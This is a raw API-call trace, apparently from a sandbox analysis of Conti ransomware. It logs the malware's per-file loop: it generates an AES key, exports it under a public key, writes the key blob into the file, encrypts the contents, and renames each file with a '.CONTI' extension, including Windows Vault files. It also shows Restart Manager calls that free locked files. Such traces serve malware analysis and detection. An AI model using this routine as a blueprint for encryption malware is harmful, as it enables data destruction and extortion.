	[0105.701] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0105.742] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x17d4b10 | out: phKey=0x17d4b10*=0x17c7e70) returned 1
	[0105.742] CryptExportKey (in: hKey=0x17c7e70, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4b14, pdwDataLen=0x41ffb3c | out: pbData=0x17d4b14*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0105.743] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.log")) returned 0x20
	[0105.743] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\edb.log" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.743] GetLastError () returned 0x20
	[0105.743] RmStartSession () returned 0x0
	[0107.539] RmRegisterResources () returned 0x0
	[0107.557] RmGetList () returned 0xea
	[0110.268] RmShutdown () returned 0x15e
	[0115.208] RmEndSession () returned 0x0
	[0115.212] CryptDestroyKey (hKey=0x17c7e70) returned 1
	[0115.212] GetProcessHeap () returned 0x1720000
	[0115.212] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741220 | out: hHeap=0x1720000) returned 1
	[0115.212] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.213] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x65dc4d0 | out: phKey=0x65dc4d0*=0x6b7f238) returned 1
	[0115.213] CryptExportKey (in: hKey=0x6b7f238, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dc4d4, pdwDataLen=0x41ffb3c | out: pbData=0x65dc4d4*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.214] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png")) returned 0x20
	[0115.215] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0115.216] GetLastError () returned 0x0
	[0115.216] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=5400) returned 1
	[0115.216] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1518
	[0115.216] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.216] SetEndOfFile (hFile=0x2e8) returned 1
	[0115.216] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.216] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.216] WriteFile (in: hFile=0x2e8, lpBuffer=0x65dc4d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x65dc4d4*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0115.218] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.218] ReadFile (in: hFile=0x2e8, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x1518, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x1518, lpOverlapped=0x0) returned 1
	[0115.220] CryptEncrypt (in: hKey=0x6b7f238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x1518, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x1520) returned 1
	[0115.220] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.220] WriteFile (in: hFile=0x2e8, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x1520, lpOverlapped=0x0) returned 1
	[0115.220] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.220] WriteFile (in: hFile=0x2e8, lpBuffer=0x65dc4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x65dc4c8*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0115.220] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.220] CloseHandle (hObject=0x2e8) returned 1
	[0115.220] GetProcessHeap () returned 0x1720000
	[0115.220] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0115.220] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png"
	[0115.220] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png.CONTI") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png.CONTI"
	[0115.220] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png.CONTI" (normalized: "c:\\programdata\\microsoft\\user account pictures\\guest.png.conti")) returned 1
	[0115.221] GetProcessHeap () returned 0x1720000
	[0115.221] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0115.221] CryptDestroyKey (hKey=0x6b7f238) returned 1
	[0115.221] GetProcessHeap () returned 0x1720000
	[0115.221] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7ad40 | out: hHeap=0x1720000) returned 1
	[0115.221] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.222] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x65dcba8 | out: phKey=0x65dcba8*=0x6b7f4b8) returned 1
	[0115.222] CryptExportKey (in: hKey=0x6b7f4b8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dcbac, pdwDataLen=0x41ffb3c | out: pbData=0x65dcbac*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.222] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png")) returned 0x20
	[0115.243] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0115.243] GetLastError () returned 0x0
	[0115.243] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=2407) returned 1
	[0115.243] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x967
	[0115.243] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.244] SetEndOfFile (hFile=0x2e8) returned 1
	[0115.244] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.244] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.244] WriteFile (in: hFile=0x2e8, lpBuffer=0x65dcbac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x65dcbac*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0115.246] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.246] ReadFile (in: hFile=0x2e8, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x967, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x967, lpOverlapped=0x0) returned 1
	[0115.246] CryptEncrypt (in: hKey=0x6b7f4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x967, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x970) returned 1
	[0115.246] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.246] WriteFile (in: hFile=0x2e8, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x970, lpOverlapped=0x0) returned 1
	[0115.246] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.246] WriteFile (in: hFile=0x2e8, lpBuffer=0x65dcba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x65dcba0*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0115.246] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.246] CloseHandle (hObject=0x2e8) returned 1
	[0115.246] GetProcessHeap () returned 0x1720000
	[0115.246] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0115.246] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png"
	[0115.246] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png.CONTI") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png.CONTI"
	[0115.246] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png.CONTI" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png.conti")) returned 1
	[0115.247] GetProcessHeap () returned 0x1720000
	[0115.247] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0115.247] CryptDestroyKey (hKey=0x6b7f4b8) returned 1
	[0115.247] GetProcessHeap () returned 0x1720000
	[0115.247] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7aac0 | out: hHeap=0x1720000) returned 1
	[0115.248] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.248] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x65d29b0 | out: phKey=0x65d29b0*=0x6b7f238) returned 1
	[0115.248] CryptExportKey (in: hKey=0x6b7f238, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d29b4, pdwDataLen=0x41ffb3c | out: pbData=0x65d29b4*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.248] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png")) returned 0x20
	[0115.275] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0115.275] GetLastError () returned 0x0
	[0115.275] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=415) returned 1
	[0115.289] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x19f
	[0115.289] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.289] SetEndOfFile (hFile=0x418) returned 1
	[0115.290] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.290] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.290] WriteFile (in: hFile=0x418, lpBuffer=0x65d29b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x65d29b4*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0115.303] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.303] ReadFile (in: hFile=0x418, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x19f, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x19f, lpOverlapped=0x0) returned 1
	[0115.303] CryptEncrypt (in: hKey=0x6b7f238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x19f, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x1a0) returned 1
	[0115.303] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.303] WriteFile (in: hFile=0x418, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x1a0, lpOverlapped=0x0) returned 1
	[0115.303] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.303] WriteFile (in: hFile=0x418, lpBuffer=0x65d29a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x65d29a8*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0115.303] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.303] CloseHandle (hObject=0x418) returned 1
	[0115.303] GetProcessHeap () returned 0x1720000
	[0115.303] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0115.303] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png"
	[0115.303] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png.CONTI") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png.CONTI"
	[0115.303] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png.CONTI" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png.conti")) returned 1
	[0115.304] GetProcessHeap () returned 0x1720000
	[0115.304] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0115.304] CryptDestroyKey (hKey=0x6b7f238) returned 1
	[0115.304] GetProcessHeap () returned 0x1720000
	[0115.304] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a8c0 | out: hHeap=0x1720000) returned 1
	[0115.304] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.304] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x65cf538 | out: phKey=0x65cf538*=0x6b7f078) returned 1
	[0115.304] CryptExportKey (in: hKey=0x6b7f078, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cf53c, pdwDataLen=0x41ffb3c | out: pbData=0x65cf53c*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.305] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch")) returned 0x20
	[0115.305] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0115.305] GetLastError () returned 0x0
	[0115.305] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=110) returned 1
	[0115.305] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6e
	[0115.305] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.305] SetEndOfFile (hFile=0x418) returned 1
	[0115.308] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.308] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.308] WriteFile (in: hFile=0x418, lpBuffer=0x65cf53c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x65cf53c*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0115.309] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.309] ReadFile (in: hFile=0x418, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x6e, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x6e, lpOverlapped=0x0) returned 1
	[0115.309] CryptEncrypt (in: hKey=0x6b7f078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x6e, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x70) returned 1
	[0115.309] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.309] WriteFile (in: hFile=0x418, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x70, lpOverlapped=0x0) returned 1
	[0115.309] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.309] WriteFile (in: hFile=0x418, lpBuffer=0x65cf530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x65cf530*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0115.309] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.309] CloseHandle (hObject=0x418) returned 1
	[0115.309] GetProcessHeap () returned 0x1720000
	[0115.309] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0115.310] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" | out: lpString1="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch"
	[0115.310] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.CONTI") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.CONTI"
	[0115.310] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch"), lpNewFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.CONTI" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch.conti")) returned 1
	[0115.311] GetProcessHeap () returned 0x1720000
	[0115.311] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0115.311] CryptDestroyKey (hKey=0x6b7f078) returned 1
	[0115.311] GetProcessHeap () returned 0x1720000
	[0115.311] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ca870 | out: hHeap=0x1720000) returned 1
	[0115.311] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.311] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x65d00a0 | out: phKey=0x65d00a0*=0x6b7f4b8) returned 1
	[0115.311] CryptExportKey (in: hKey=0x6b7f4b8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d00a4, pdwDataLen=0x41ffb3c | out: pbData=0x65d00a4*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.312] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" (normalized: "c:\\programdata\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch")) returned 0x20
